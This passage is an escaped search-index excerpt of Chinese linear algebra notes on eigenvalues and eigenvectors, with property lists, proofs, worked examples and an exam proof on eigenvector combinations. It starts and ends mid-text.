\u7531\u4e8e\\(A\\)\u548c\\(B\\)\u65e0\u516c\u5171\u590d\u7279\u5f81\u503c\uff0c\u6240\u4ee5\\(\\sigma(X)=AX-XB=O\\)\u53ea\u6709\u96f6\u89e3\uff0c\u5373\\(\\sigma\\)\u4e3a\\(V\\)\u4e0a\u5355\u5c04\uff0c\u53ef\u77e5\\(\\sigma\\)\u662f\u6ee1\u5c04\u4e14\u662f\u540c\u6784\u6620\u5c04. \u4e8e\u662f\uff0c\u5bf9\u4efb\u610f\u7684\\(C\\in V\\)\uff0c\u90fd\u5b58\u5728\u552f\u4e00\u7684\\(X_0\\in V\\)\u4f7f\u5f97\\(\\sigma(X_0)=C\\)\uff0c\u5373\u77e9\u9635\u65b9\u7a0b\\(AX-XB=C\\)\u5b58\u5728\u552f\u4e00\u89e3\\(X_0\\).</p>"},{"location":"NOTE/LA/eigenvalue/#_6","title":"\u7279\u5f81\u503c\u7684\u6027\u8d28\u4e0e\u7ed3\u8bba","text":"<ul> <li> <p>\u8bbe\\(\\lambda\\)\u662f\u7ebf\u6027\u7a7a\u95f4\\(V(\\mathbf{F})\\)\u4e0a\u7684\u7ebf\u6027\u53d8\u6362\\(\\sigma\\)\u7684\u7279\u5f81\u503c\uff0c\\(\\xi\\)\u662f\\(\\sigma\\)\u5c5e\u4e8e\\(\\lambda\\)\u7684\u7279\u5f81\u5411\u91cf\uff0c\u5219</p> <ul> <li> <p>\\(k\\lambda\\)\u662f\\(k\\sigma\\)\u7684\u7279\u5f81\u503c\uff0c\\(\\lambda^m\\)\u662f\\(\\sigma^m\\)\u7684\u7279\u5f81\u503c\uff0c\u4e14\\(\\xi\\)\u4ecd\u662f\u76f8\u5e94\u7279\u5f81\u5411\u91cf\uff1b</p> </li> <li> <p>\u82e5\\(f(x)=a_nx^n+a_{n-1}x^{n-1}+\\cdots+a_1x+a_0\\)\u662f\\(\\mathbf{F}\\)\u4e0a\u7684\u591a\u9879\u5f0f\uff0c\u5219\\(f(\\sigma)(\\xi)=f(\\lambda)\\xi\\)\uff1b</p> </li> </ul> </li> <li> <p>\u8bbe\\(\\lambda\\)\u662f\\(n\\)\u9636\u77e9\u9635\\(A\\)\u7684\u7279\u5f81\u503c\uff0c\\(A\\)\u53ef\u9006\uff0c\u5219\\(\\lambda^{-1}\\)\u662f\\(A^{-1}\\)\u7684\u7279\u5f81\u503c\uff0c\\(|A|\\lambda^{-1}\\)\u662f\\(A\\)\u7684\u4f34\u968f\u77e9\u9635\\(A^*\\)\u7684\u7279\u5f81\u503c\uff0c\u4e14\u7279\u5f81\u5411\u91cf\u4e0d\u53d8.</p> </li> <li> <p>\u8bbe\\(A\\)\u4e3a\\(n\\)\u9636\u77e9\u9635\uff0c\u5219\\(A\\)\u4e0e\\(A^\\mathrm{T}\\)\u6709\u76f8\u540c\u7684\u7279\u5f81\u503c\uff08\u542b\u91cd\u6570\uff09.</p> </li> <li> <p>\\(A\\)\u53ef\u9006/\\(A\\)\u4e0d\u53ef\u9006/\\(E+A\\)\u53ef\u9006/\\(4E+A\\)\u4e0d\u53ef\u9006\uff1b</p> </li> <li> <p>\\(|E-A^2|=0\\)\uff1b</p> </li> <li> <p>\\(A^2=E\\)\uff08\u5bf9\u5408\uff09/\\(A^2=A\\)\uff08\u5e42\u7b49\uff09/\\(A^k=0\\)\uff08\u5e42\u96f6\uff09\uff1b</p> </li> <li> <p>\\(A=\\lambda_0E+B\\)\uff08\\(\\lambda_0\\)\u4e3a\u5e38\u6570\uff0c\u4e14\u5df2\u77e5\\(B\\)\u7684\\(n\\)\u4e2a\u7279\u5f81\u503c\u4e3a\\(\\lambda_1,\\lambda_2,\\ldots,\\lambda_n\\)\uff09\uff1b</p> </li> <li> <p>\\(A\\)\u4e3a\u5bf9\u89d2\u5757\u77e9\u9635\uff0c\u5373\\(A=\\mathbf{diag}(A_1,A_2,\\ldots,A_m)\\).</p> </li> </ul> Proof <p>1  \u7531\u4e8e\\(\\sigma(\\xi) = \\lambda\\xi\\)\uff0c\u5219\\((k\\sigma)(\\xi) = k\\lambda\\xi\\)\uff0c\u5373\\(k\\lambda\\)\u662f\\(k\\sigma\\)\u7684\u7279\u5f81\u503c\uff0c\\(\\xi\\)\u4ecd\u662f\u76f8\u5e94\u7279\u5f81\u5411\u91cf\u3002</p> <p>\u800c\\(\\sigma^m(\\xi) = \\sigma^{m-1}(\\sigma(\\xi)) = \\sigma^{m-1}(\\lambda\\xi) = \\lambda\\sigma^{m-1}(\\xi) = \\cdots = \\lambda^m\\xi\\)\uff0c\u5373\\(\\lambda^m\\)\u662f\\(\\sigma^m\\)\u7684\u7279\u5f81\u503c\uff0c\\(\\xi\\)\u4ecd\u662f\u76f8\u5e94\u7279\u5f81\u5411\u91cf\u3002</p> <p>2  \u5229\u7528\u524d\u8ff0\\(\\sigma^m\\)\u7684\u76f8\u5173\u6027\u8d28\uff0c\u6211\u4eec\u6709    $$ f(\\sigma)(\\xi) = (a_n\\sigma^n + a_{n-1}\\sigma^{n-1} + \\cdots + a_1\\sigma + a_0I)(\\xi) $$    $$ = a_n\\sigma^n(\\xi) + a_{n-1}\\sigma^{n-1}(\\xi) + \\cdots + a_1\\sigma(\\xi) + a_0I(\\xi) $$    $$ = a_n\\lambda^n\\xi + a_{n-1}\\lambda^{n-1}\\xi + \\cdots + a_1\\lambda\\xi + a_0\\xi $$    $$ = f(\\lambda)\\xi. $$</p> <p>3  \u8bbe\\(\\xi\\)\u662f\\(A\\)\u7684\u7279\u5f81\u503c\uff0c\u5373\\(A\\xi = \\lambda\\xi\\)\uff0c\u5219\\(\\xi = A^{-1}A\\xi = A^{-1}\\lambda\\xi\\)\uff0c\u5373\\(A^{-1}\\xi = \\lambda^{-1}\\xi\\)\uff0c\u56e0\u6b64\\(\\lambda^{-1}\\)\u662f\\(A^{-1}\\)\u7684\u7279\u5f81\u503c\uff0c\\(\\xi\\)\u4ecd\u662f\u76f8\u5e94\u7279\u5f81\u5411\u91cf\u3002</p> <p>\u53c8\u7531\u4e8e\\(A\\)\u53ef\u9006\u65f6\\(A^* = |A|A^{-1}\\)\uff0c\u6839\u636e\u524d\u9762\u5173\u4e8e\\(k\\sigma\\)\u548c\\(A^{-1}\\)\u7279\u5f81\u503c\u7684\u8ba8\u8bba\u53ef\u77e5\uff0c\\(|A|\\lambda^{-1}\\)\u662f\\(A\\)\u7684\u4f34\u968f\u77e9\u9635\\(A^*\\)\u7684\u7279\u5f81\u503c\uff0c\\(\\xi\\)\u4ecd\u662f\u76f8\u5e94\u7279\u5f81\u5411\u91cf\u3002</p> <p>4  \u6211\u4eec\u7528\u7279\u5f81\u591a\u9879\u5f0f\u8bc1\u660e\u3002\u5b9e\u9645\u60c5\u51b5\u662f\uff0c\\(A^\\mathrm{T}\\)\u7684\u7279\u5f81\u591a\u9879\u5f0f\u4e3a\\(|\\lambda E - A^\\mathrm{T}| = |(\\lambda E - A)^\\mathrm{T}| = |\\lambda E - A|\\)\uff08\u56de\u5fc6\u8f6c\u7f6e\u4e0d\u6539\u53d8\u884c\u5217\u5f0f\uff09\uff0c\u5b9e\u9645\u4e0a\u4e0e\\(A\\)\u7684\u7279\u5f81\u591a\u9879\u5f0f\u5b8c\u5168\u4e00\u81f4\uff0c\u56e0\u6b64\\(A^\\mathrm{T}\\)\u4e0e\\(A\\)\u6709\u76f8\u540c\u7684\u7279\u5f81\u503c\uff08\u542b\u91cd\u6570\uff09\u3002</p> <p>5  \\(A\\)\u53ef\u9006\u65f6\u6709 \\(|A| = \\lambda_1 \\cdots \\lambda_n \\neq 0\\)\uff0c\u56e0\u6b64\\(A\\)\u7684\u7279\u5f81\u503c\u90fd\u4e0d\u4e3a0\u3002 \u540c\u7406\uff0c\\(A\\)\u4e0d\u53ef\u9006\u540c\u7406\u8868\u660e\u5b58\u5728\u7279\u5f81\u503c\u7b49\u4e8e0\uff0c\\(E+A\\)\u53ef\u9006\u8868\u660e\\(-1\\)\u4e0d\u662f\\(A\\)\u7684\u7279\u5f81\u503c\uff0c\\(4E+A\\)\u4e0d\u53ef\u9006\u8868\u660e\\(-4\\)\u662f\\(A\\)\u7684\u7279\u5f81\u503c\u3002</p> <p>6  \\(|E - A^2| = |E - A||E + A| = 0\\)\uff0c\u56e0\u6b64\\(\\pm 1\\)\u90fd\u662f\\(A\\)\u7684\u7279\u5f81\u503c\u3002</p> <p>7  \u6211\u4eec\u9996\u5148\u8003\u8651\u5bf9\u5408\u77e9\u9635\uff0c\u63a5\u4e0b\u6765\u7684\u540c\u7406\u53ef\u4ee5\u5f97\u5230\u7c7b\u4f3c\u7ed3\u8bba\u3002\u7531\u4e8e\\(A^2 = E\\)\uff0c\u8bbe\\(AX = \\lambda X\\)\uff0c\u5219\\(A^2 X = \\lambda^2 X = X\\)\uff0c\u56e0\u6b64\\(\\lambda^2 = 1\\)\uff0c\u5373\\(\\lambda = \\pm 1\\)\uff0c\u56e0\u6b64\\(1\\)\u6216\\(-1\\)\u662f\\(A\\)\u7684\u7279\u5f81\u503c\u3002</p> <p>\u6ce8\uff1a\u672c\u9898\u89e3\u51b3\u8fc7\u7a0b\u4e2d\u544a\u8bc9\u6211\u4eec\u4e00\u4e2a\u89e3\u9898\u6280\u5de7\uff0c\u5982\u679c\u770b\u5230\\(A\\)\u7684\u591a\u9879\u5f0f\\(f(A) = O\\)\u8fd9\u79cd\u5f62\u5f0f\u7684\u8868\u8fbe\u5f0f\uff0c\u4e8b\u5b9e\u4e0a\\(A\\)\u7684\u7279\u5f81\u503c\u53ea\u80fd\u662f\\(f(\\lambda) = 0\\)\u7684\u6839\uff0c\u5982\u4e0a\u9898\u4e2d\\(f(A) = A^2 - E\\)\uff0c\u5219\\(f(\\lambda) = \\lambda^2 - 1\\)\uff0c\u56e0\u6b64\\(A\\)\u7684\u7279\u5f81\u503c\u53ea\u80fd\u662f\\(\\pm 1\\)\u3002</p> <p>\u540c\u7406\uff0c\u6211\u4eec\u53ef\u4ee5\u77e5\u9053\u5e42\u7b49\u77e9\u9635\u7684\u7279\u5f81\u503c\u53ea\u80fd\u662f0\u548c1\uff0c\u5e42\u96f6\u77e9\u9635\u7684\u7279\u5f81\u503c\u53ea\u80fd\u662f0\uff08\u8fd9\u662f\u4e00\u4e2a\u91cd\u8981\u7684\u5e42\u96f6\u77e9\u9635\u7b49\u4ef7\u6761\u4ef6\uff0c\u672a\u6765\u6211\u4eec\u4f1a\u518d\u6b21\u9047\u5230\uff09\u3002</p> <p>8  \u8bbe \\(BX = \\lambda_i X_i\\ (X_i \\neq 0,\\enspace i = 1,\\ldots,n)\\)\uff0c\u5219    $$ AX_i = \\lambda_0 X_i + BX_i = \\lambda_0 X_i + \\lambda_i X_i = (\\lambda_0 + \\lambda_i) X_i $$    \u56e0\u6b64\\(\\lambda_0 + \\lambda_i \\ (i = 1,\\ldots,n)\\)\u90fd\u662f\\(A\\)\u7684\u7279\u5f81\u503c\u3002</p> <p>9  \u8bc1\u660e\uff1a</p> \\[ |\\lambda E - A| = \\begin{vmatrix}        \\lambda E_1 - A_1 &amp; 0 &amp; \\cdots &amp; 0 \\\\        0 &amp; \\lambda E_2 - A_2 &amp; \\cdots &amp; 0 \\\\        \\vdots &amp; \\vdots &amp; \\ddots &amp; \\vdots \\\\        0 &amp; 0 &amp; \\cdots &amp; \\lambda E_m - A_m    \\end{vmatrix} = \\prod_{i=1}^{m} |\\lambda E_i - A_i| = 0  \\] <p>\u56e0\u6b64\uff0c\\(A_i,\\enspace i = 1,\\ldots,m\\)\u7684\u7279\u5f81\u503c\u90fd\u662f\\(A\\)\u7684\u7279\u5f81\u503c\u3002</p> <p>Example</p> <ul> <li> <p>\u8bbe\\(\\alpha=(1,0,-1)^\\mathrm{T}\\)\uff0c\u4e14\\(A=\\alpha\\alpha^\\mathrm{T}\\)\uff0c\u6c42\\(|6E-A^n|\\)\uff1b</p> </li> <li> <p>\u8bbe\\(A\\)\u4e3a\u4e09\u9636\u77e9\u9635\uff0c\u5176\u7279\u5f81\u503c\u4e3a\\(1,-2,-1\\)\uff0c\u6c42\\(|A|\\)\uff0c\\(A^*+3E\\)\u7684\u7279\u5f81\u503c\uff0c\\((A^{-1})^2+2E\\)\u7684\u7279\u5f81\u503c\u4ee5\u53ca\\(|A^2-A+E|\\)\uff1b</p> </li> <li> <p>\u8bbe\\(A\\)\u4e3a\u4e09\u9636\u77e9\u9635\uff0c\\(A^2-A-2E=O\\)\uff0c\\(|A|=2\\)\uff0c\u6c42\\(|A^*+3E|\\)\uff1b</p> </li> <li> <p>\u8bbe\\(A\\)\u4e3a\u4e09\u9636\u77e9\u9635\uff0c\u5176\u7279\u5f81\u503c\u4e3a\\(-1,-1,5\\)\uff0c\u6c42\\(A_{11}+A_{22}+A_{33}\\)\uff1b</p> </li> </ul> Answer <ul> <li> <p>\u4e8b\u5b9e\u4e0a\\(A=\\alpha\\alpha^\\mathrm{T}=\\begin{pmatrix}               1 &amp; 0 &amp; -1 \\\\ 0 &amp; 0 &amp; 0 \\\\ -1 &amp; 0 &amp; 1           \\end{pmatrix}\\)\uff0c\u7531\\(|\\lambda E-A|=0\\)\u89e3\u5f97\\(A\\)\u7684\u7279\u5f81\u503c\u4e3a\\(\\lambda_1=\\lambda_2=0,\\lambda_3=2\\)\uff0c\u800c\u6839\u636e\\(A^n\\)\u7684\u7279\u5f81\u503c\u6027\u8d28\u53ef\u77e5\uff0c\\(6E-A^n\\)\u7684\u7279\u5f81\u503c\u4e3a\\(6-\\lambda_1^n,6-\\lambda_2^n,6-\\lambda_3^n\\)\uff0c\u5373\\(6,6,6-2^n\\)\uff0c\u56e0\u6b64\\(|6E-A^n|=6^2(6-2^n)=36(6-2^n)\\).</p> </li> <li> <p>\u7531\u4e8e\\(A\\)\u7684\u7279\u5f81\u503c\u4e3a\\(1,-2,-1\\)\uff0c\u56e0\u6b64\\(|A|=1\\times(-2)\\times(-1)=2\\)\uff0c\u800c\\(A^*\\)\u7684\u7279\u5f81\u503c\u4e3a\\(|A|\\lambda^{-1}\\)\uff0c\u56e0\u6b64\\(A^*\\)\u7684\u7279\u5f81\u503c\u4e3a\\(2,-1,-2\\)\uff0c\u6545\\(A^*+3E\\)\u7684\u7279\u5f81\u503c\u4e3a\\(A^*\\)\u7684\u7279\u5f81\u503c\u52a03\uff08\u5373\u4e3a\\(5,2,1\\)\uff0c\u53c8\u6839\u636e\\(A^{-1}\\)\u548c\\(A^2\\)\u7279\u5f81\u503c\u7684\u6027\u8d28\u53ef\u77e5\uff0c\\((A^{-1})^2+2E\\)\u7684\u7279\u5f81\u503c\u4e3a\\(1^2+2,(-1/2)^2+2,(-1)^2+2\\)\uff0c\u5373\u4e3a\\(3,9/4,3\\)\uff0c\u800c\\(A^2-A+E\\)\u7684\u7279\u5f81\u503c\u6839\u636e\\(f(\\sigma)\\)\u7279\u5f81\u503c\u6027\u8d28\u7684\u8ba8\u8bba\u53ef\u77e5\u4e3a\\(1^2-1+1,(-2)^2-(-2)+1,(-1)^2-(-1)+1\\)\uff0c\u5373\u4e3a\\(1,7,3\\)\uff0c\u56e0\u6b64\\(|A^2-A+E|=1\\times 7\\times 3=21\\).</p> </li> <li> <p>\u8bbe\\(AX=\\lambda X(X\\neq 0)\\)\uff0c\u5219\\((A^2-A-2E)X=(\\lambda^2-\\lambda-2)X=O\\)\uff0c\u56e0\u6b64\\(\\lambda=-1\\)\u6216\\(\\lambda=2\\)\uff0c\u6839\u636e\u5bf9\u5408\u77e9\u9635\u7684\u8ba8\u8bba\u53ef\u77e5\uff0c\\(A\\)\u7684\u7279\u5f81\u503c\u6070\u4e3a-1\u548c2. \u53c8\\(|A|=2\\)\uff0c\u4e14\\(A\\)\u4e3a3\u9636\u77e9\u9635\uff0c\u56e0\u6b64\\(A\\)\u76843\u4e2a\u7279\u5f81\u503c\u5fc5\u4e3a-1\uff0c-1\uff0c2.</p> </li> </ul> <p>\u53c8\\(A^*\\)\u7684\u7279\u5f81\u503c\u4e3a\\(|A|\\lambda^{-1}\\)\uff0c\u56e0\u6b64\\(A^*\\)\u7684\u7279\u5f81\u503c\u4e3a\\(1,-2,-2\\)\uff0c\\(A^*+3E\\)\u7684\u7279\u5f81\u503c\u4e3a\\(A^*\\)\u7684\u7279\u5f81\u503c\u52a03\uff0c\u5373\\(\\lambda_1=\\lambda_2=1,\\lambda_3=4\\)\uff0c\u6545\\(|A^*+3E|=\\lambda_1\\lambda_2\\lambda_3=4\\).</p> <ul> <li>\u7531\u9898\u610f\u77e5\\(|A|=5\\)\uff0c\u6545\\(A^*\\)\u7684\u7279\u5f81\u503c\u4e3a\\(|A|\\lambda^{-1}\\)\u5373\u4e3a\\(\\mu_1=\\mu_2=-5,\\mu_3=1\\)\uff0c\u800c\\(A_{11}+A_{22}+A_{33}\\)\u5c31\u662f\\(A^*\\)\u7684\u8ff9\uff08\u5373\u77e9\u9635\u5bf9\u89d2\u7ebf\u5143\u7d20\u4e4b\u548c\uff09\uff0c\u56e0\u6b64\\(A_{11}+A_{22}+A_{33}=\\mu_1+\\mu_2+\\mu_3=-9\\).</li> </ul>"},{"location":"NOTE/LA/eigenvalue/#_7","title":"\u7279\u5f81\u5411\u91cf\u4e0e\u7279\u5f81\u5b50\u7a7a\u95f4\u7684\u6027\u8d28","text":"<ul> <li> <p>\\(\\sigma\\)\u7684\u4e0d\u540c\u7279\u5f81\u503c\u5bf9\u5e94\u7684\u7279\u5f81\u5411\u91cf\u7ebf\u6027\u65e0\u5173\uff1b</p> </li> <li> <p>\\(\\sigma\\)\u7684\u4e0d\u540c\u7279\u5f81\u503c\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u7684\u548c\u4e3a\u76f4\u548c\uff1b</p> </li> <li> <p>\\(\\sigma\\)\u6700\u591a\u6709\\(\\dim V\\)\u4e2a\u4e0d\u540c\u7684\u7279\u5f81\u503c.</p> </li> </ul> <p>\u6709\u4ee5\u4e0b\u63a8\u8bba</p> Proof <ul> <li>\u8bbe \\(\\lambda_1, \\ldots, \\lambda_m\\) \u662f \\(\\sigma\\) \u7684\u4e92\u5f02\u7279\u5f81\u503c\uff0c\\(\\xi_1, \\ldots, \\xi_m\\) \u662f\u76f8\u5e94\u7684\u7279\u5f81\u5411\u91cf\u3002\u53cd\u8bc1\u6cd5\uff0c\u6211\u4eec\u5047\u8bbe \\(\\xi_1, \\ldots, \\xi_m\\) \u7ebf\u6027\u76f8\u5173\uff0c\u7531\u7ebf\u6027\u76f8\u5173\u6027\u5f15\u7406\u53ef\u77e5\uff0c\u5b58\u5728 \\(k\\) \u662f\u4f7f\u5f97  </li> </ul> \\[ \\xi_k \\in \\mathbf{spa}(\\xi_1, \\ldots, \\xi_{k-1}) \\] <p>\u6210\u7acb\u7684\u6700\u5c0f\u6574\u6570\uff0c\u5219\u5b58\u5728 \\(c_1, \\ldots, c_{k-1}\\) \u4f7f\u5f97  </p> <p>$$ \\xi_k = c_1\\xi_1 + \\cdots + c_{k-1}\\xi_{k-1}. $$  </p> <p>\u5c06 \\(\\sigma\\) \u4f5c\u7528\u5230\u4e0a\u5f0f\u4e24\u8fb9\uff0c\u6211\u4eec\u6709  </p> <p>$$ \\lambda_k \\xi_k = c_1 \\lambda_1 \\xi_1 + \\cdots + c_{k-1} \\lambda_{k-1} \\xi_{k-1}. $$  </p> <p>\u5c06\u4e0a\u5f0f\u4e24\u8fb9\u4e58\u4ee5 \\(\\lambda_k\\)\uff0c\u7136\u540e\u51cf\u53bb\u4e0a\u5f0f\uff0c\u6211\u4eec\u6709  </p> <p>$$ 0 = c_1 (\\lambda_k - \\lambda_1)\\xi_1 + \\cdots + c_{k-1} (\\lambda_k - \\lambda_{k-1})\\xi_{k-1}. $$  </p> <p>\u7531\u4e8e\u6211\u4eec\u9009\u53d6\u7684 \\(k\\) \u662f\u6ee1\u8db3 \\(\\xi_k \\in \\mathbf{spa}(\\xi_1, \\ldots, \\xi_{k-1})\\) \u7684\u6700\u5c0f\u6574\u6570\uff0c\u56e0\u6b64 \\(\\xi_1, \\ldots, \\xi_{k-1}\\) \u7ebf\u6027\u65e0\u5173\uff0c\u6545 \\(c_1 = \\cdots = c_{k-1} = 0\\)\uff0c\u56e0\u6b64 \\(\\xi_k = 0\\)\uff0c\u8fd9\u4e0e \\(\\xi_k\\) \u662f\u7279\u5f81\u5411\u91cf\u77db\u76fe\uff0c\u56e0\u6b64 \\(\\xi_1, \\ldots, \\xi_m\\) \u7ebf\u6027\u65e0\u5173\u3002</p> <ul> <li>\u56de\u5fc6\u76f4\u548c\u7684\u8bc1\u660e\u65b9\u6cd5\uff0c\u6211\u4eec\u9009\u53d6\u5408\u9002\u7b49\u4ef7\u547d\u9898\u8fdb\u884c\u8bc1\u660e\u3002\u5047\u8bbe  </li> </ul> <p>$$ \\xi_1 + \\cdots + \\xi_m = 0, $$  </p> <p>\u5176\u4e2d \\(\\xi_i \\in V_{\\lambda_i}\\)\uff0c\u7531\u4e8e \\(\\sigma\\) \u7684\u4e0d\u540c\u7279\u5f81\u503c\u5bf9\u5e94\u7684\u7279\u5f81\u5411\u91cf\u7ebf\u6027\u65e0\u5173\uff0c\u56e0\u6b64 \\(\\xi_1, \\ldots, \\xi_m\\) \u4e0d\u53ef\u80fd\u662f\u7279\u5f81\u5411\u91cf\uff0c\u5426\u5219\u53ef\u77e5\u5b83\u4eec\u7ebf\u6027\u76f8\u5173\uff0c\u6545\u5fc5\u6709 \\(\\xi_1 = \\cdots = \\xi_m = 0\\)\uff0c\u8fd9\u8868\u660e \\(\\sigma\\) \u7684\u4e0d\u540c\u7279\u5f81\u503c\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u7684\u548c\u4e3a\u76f4\u548c\u3002</p> <ul> <li>\u8bbe \\(\\lambda_1, \\ldots, \\lambda_m\\) \u662f \\(\\sigma\\) \u7684\u4e92\u5f02\u7279\u5f81\u503c\uff0c\\(\\xi_1, \\ldots, \\xi_m\\) \u662f\u76f8\u5e94\u7684\u7279\u5f81\u5411\u91cf\u3002\u524d\u9762\u5df2\u7ecf\u8bc1\u660e\u4e86 \\(\\xi_1, \\ldots, \\xi_m\\) \u7ebf\u6027\u65e0\u5173\uff0c\u56e0\u6b64 \\(\\dim V \\geqslant m\\)\uff0c\u5f97\u8bc1\u3002</li> </ul> <ul> <li> <p>\u82e5\\(\\lambda_1,\\ldots,\\lambda_m\\)\u662f\u7ebf\u6027\u6620\u5c04\\(\\sigma\\)\u4e92\u5f02\u7684\u7279\u5f81\u503c\uff0c\u5219\\(V_{\\lambda_i}\\cap\\sum\\limits_{j\\neq i}V_{\\lambda_j}=\\{0\\}               \\enspace(i=1,\\ldots,m)\\)\uff0c\u5219\u4e00\u4e2a\u7279\u5f81\u5411\u91cf\u4e0d\u80fd\u5c5e\u4e8e\u591a\u4e2a\u7279\u5f81\u503c. </p> </li> <li> <p>\\(\\sigma\\)\u7684\u4e0d\u540c\u7279\u5f81\u503c\\(\\lambda_1,\\ldots,\\lambda_m\\)\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\\(V_{\\lambda_1},\\ldots,V_{\\lambda_m}\\)\u7684\u57fa\u5411\u91cf\u5408\u5728\u4e00\u8d77\u6784\u6210\u7684\u5411\u91cf\u7ec4\u7ebf\u6027\u65e0\u5173\uff0c\u4e14\u662f\\(V_{\\lambda_1}+V_{\\lambda_2}+\\cdots+V_{\\lambda_m}\\)\u7684\u57fa.</p> </li> </ul> <p>Definition</p> <ul> <li>\u4ee3\u6570\u91cd\u6570:\u67d0\u4e00\u7279\u5f81\u503c\\(\\lambda\\)\u7684\u4ee3\u6570\u91cd\u6570\u6307\u91cd\u6839\u7684\u4e2a\u6570\uff1b</li> <li>\u51e0\u4f55\u91cd\u6570:\u67d0\u4e00\u7279\u5f81\u503c\u7684\u51e0\u4f55\u91cd\u6570\u6307\u7279\u5f81\u5411\u91cf\u751f\u6210\u7ebf\u6027\u7a7a\u95f4\u7684\u7ef4\u6570</li> </ul> <p>\u82e5\\(\\lambda\\)\u662f\\(\\sigma\\)\u7684\u7279\u5f81\u503c\uff0c\u5219\\(\\lambda\\)\u7684\u4ee3\u6570\u91cd\u6570\u5927\u4e8e\u7b49\u4e8e\u51e0\u4f55\u91cd\u6570</p> <p>\u6211\u4eec\u601d\u8003\uff0c\u5982\u679c\u6240\u6709\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u5df2\u7ecf\u662f\u5168\u7a7a\u95f4\\(V\\),\u90a3\u4e48\u662f\u5426\u6240\u6709\u5411\u91cf\u90fd\u662f\u7279\u5f81\u5411\u91cf\u5462?\u4e0b\u9762\u7684\u4f8b\u5b50\u544a\u8bc9\u6211\u4eec\u4e0d\u662f\u8fd9\u6837\u7684,\u4e8b\u5b9e\u4e0a\uff0c\u53ea\u6709\u5f53\u7279\u5f81\u503c\u552f\u4e00\u7684\u65f6\u5019\uff0c\u8fd9\u4e2a\u7ed3\u8bba\u624d\u6b63\u786e:</p> <p>2013-2014\u671f\u672b</p> <p>\u8bbe \\(V(\\mathbf{F})\\) \u662f \\(n\\) \u7ef4\u7ebf\u6027\u7a7a\u95f4\uff0c\\(\\sigma \\in \\mathcal{L}(V)\\)\uff0c\u8bc1\u660e\uff1a</p> <ol> <li>\u82e5 \\(\\alpha, \\beta\\) \u662f \\(\\sigma\\) \u7684\u5c5e\u4e8e\u4e0d\u540c\u7279\u5f81\u503c\u7684\u7279\u5f81\u5411\u91cf\uff0c\u5219 \\(c_1c_2 \\neq 0\\) \u65f6\uff0c\\(c_1 \\alpha + c_2 \\beta\\) \u4e0d\u662f \\(\\sigma\\) \u7684\u7279\u5f81\u5411\u91cf\uff1b</li> <li>\\(V\\) \u4e2d\u7684\u6bcf\u4e00\u975e\u96f6\u5411\u91cf\u90fd\u662f \\(\\sigma\\) \u7684\u7279\u5f81\u5411\u91cf \\(\\iff \\sigma = c_0 I_V\\)\uff0c\u5176\u4e2d \\(c_0 \\in \\mathbf{F}\\) \u662f\u4e00\u4e2a\u5e38\u6570\uff0c\\(I_V\\) \u662f\u6052\u7b49\u53d8\u6362\u3002</li> </ol> Proof <ol> <li> <p>\u8bbe \\(\\sigma(\\alpha) = \\lambda_1 \\alpha, \\sigma(\\beta) = \\lambda_2 \\beta\\)\uff0c\u5176\u4e2d \\(\\lambda_1 \\neq \\lambda_2\\)\uff0c\u5e76\u5047\u8bbe \\(c_1 \\alpha + c_2 \\beta\\) \u662f \\(\\sigma\\) \u7684\u7279\u5f81\u5411\u91cf\uff0c\u5373\u5b58\u5728 \\(\\lambda_0 \\in \\mathbf{F}\\) \u4f7f\u5f97    $$ \\sigma(c_1 \\alpha + c_2 \\beta) = \\lambda_0 (c_1 \\alpha + c_2 \\beta). $$    \u5c55\u5f00\u62ec\u53f7\uff0c\u6211\u4eec\u6709    $$ c_1 \\sigma(\\alpha) + c_2 \\sigma(\\beta) = c_1 \\lambda_0 \\alpha + c_2 \\lambda_0 \\beta. $$    \u5373    $$ c_1 \\lambda_1 \\alpha + c_2 \\lambda_2 \\beta = c_1 \\lambda_0 \\alpha + c_2 \\lambda_0 \\beta, $$    \u5373    $$ (\\lambda_1 - \\lambda_0) c_1 \\alpha + (\\lambda_2 - \\lambda_0) c_2 \\beta = 0. $$    \u7531\u4e8e \\(\\alpha, \\beta\\) \u7ebf\u6027\u65e0\u5173\uff0c\u56e0\u6b64    $$ c_1 (\\lambda_1 - \\lambda_0) = c_2 (\\lambda_2 - \\lambda_0) = 0. $$    \u5f53 \\(c_1 c_2 \\neq 0\\) \u65f6\uff0c\u6211\u4eec\u6709 \\(\\lambda_1 = \\lambda_0 = \\lambda_2\\)\uff0c\u8fd9\u4e0e \\(\\lambda_1 \\neq \\lambda_2\\) \u77db\u76fe\uff0c\u56e0\u6b64 \\(c_1 \\alpha + c_2 \\beta\\) \u4e0d\u662f \\(\\sigma\\) \u7684\u7279\u5f81\u5411\u91cf\u3002</p> </li> <li> <p>\u53f3\u63a8\u5de6\u663e\u7136\uff0c\u6211\u4eec\u53ea\u8003\u8651\u5de6\u63a8\u53f3\u7684\u8bc1\u660e\u3002\u7531\u4e0a\u4e00\u5c0f\u95ee\u7ed3\u8bba\u53ef\u77e5\uff0c\u82e5 \\(V\\) \u4e2d\u7684\u6bcf\u4e00\u975e\u96f6\u5411\u91cf\u90fd\u662f \\(\\sigma\\) \u7684\u7279\u5f81\u5411\u91cf\uff0c\\(\\sigma\\) \u4e0d\u53ef\u80fd\u6709\u4e0d\u540c\u7684\u7279\u5f81\u503c\uff08\u56e0\u4e3a\u6709\u4e0d\u540c\u7684\u7279\u5f81\u503c\u5c31\u6709\u4e0d\u540c\u7279\u5f81\u503c\u5bf9\u5e94\u7684\u7279\u5f81\u5411\u91cf\uff0c\u4f46\u5b83\u4eec\u7684\u7ebf\u6027\u7ec4\u5408\u4e00\u5b9a\u4ecd\u5728 \\(V\\) \u4e2d\uff0c\u8fd9\u4e0e\u4ece\u7b2c\u4e00\u95ee\u4e2d\u5f97\u5230\u7684\u7ed3\u8bba\uff0c\u5373\u5b83\u4e0d\u662f \\(\\sigma\\) \u7684\u7279\u5f81\u5411\u91cf\u77db\u76fe\uff09\u3002\u8bbe \\(c_0\\) \u662f \\(\\sigma\\) \u7684\u552f\u4e00\u7684\u7279\u5f81\u503c\uff0c\u5219\u5bf9\u4e8e\u4efb\u610f \\(\\alpha \\in V\\)\uff0c\u6211\u4eec\u6709 \\(\\sigma(\\alpha) = c_0 \\alpha\\)\uff0c\u5373 \\(\\sigma\\) 